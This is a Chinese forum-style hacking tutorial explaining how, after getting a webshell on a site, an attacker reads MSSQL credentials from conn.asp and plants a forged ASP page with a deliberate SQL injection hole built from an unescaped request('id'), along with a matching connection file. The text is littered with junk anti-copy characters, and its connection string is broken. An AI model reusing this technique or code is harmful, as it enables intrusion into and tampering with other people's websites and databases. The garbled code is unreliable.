首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
+ s* H' A( ~; u; yASP/Visual Basic代码$ w5 k. v; i/ Q/ j; O
<!--#include file="xx.asp"-->
4 N; F4 i+ }, [4 Y<%
. x2 s9 h; H7 o1 l# F" p) `8 A1 wset rs=server.createobject("ADODB.recordset")
1 u" y# T7 j G. R- R: _( Oid = request("id")
" T6 l& |6 m% \# x. YstrSQL = "select * from admin where id=" & id
" q: v. ]" i4 B9 r$ F6 B: c/ ars.open strSQL,conn,1,3 0 g: \( z5 p. a4 w- O* x7 M3 C
rs.close
9 D$ m! E" X" b# g3 _( l%>
- U! Z3 J2 Y! i* S2 M" r把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
4 N. X% g m3 H3 |4 }1 e然后就要构造一个连接数据库的文件了,代码如下:$ |, n7 i( ?# Z: j( y5 a M
ASP/Visual Basic代码
) @) L- \" u$ E9 o* V% V<% . L: M' X$ K" I# a" d
strSQLServerName = "000.000.000.000" '服务器名称或地址 # s* ^$ c9 G0 ~
strSQLDBUserName = "sqlname" '数据库帐号
9 k6 _6 p+ g$ MstrSQLDBPassword = "sqlpass" '数据库密码
5 } J; w( c4 ?% N. _$ F: SstrSQLDBName = "sqldataname" '数据库名称 + |- A/ o6 q+ j0 F! {! l
Set conn = Server.CreateObject("ADODB.Connection")
. i2 i c: U' U, J; U; FstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" ]1 R2 n1 ?- y/ r) {
conn.open strCon
5 u% k; @9 z( x+ u- z3 K( ^2 W3 m%>
# i9 \, ?4 c4 {0 W7 w4 e0 x这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
E8 s2 ]' H5 {/ U |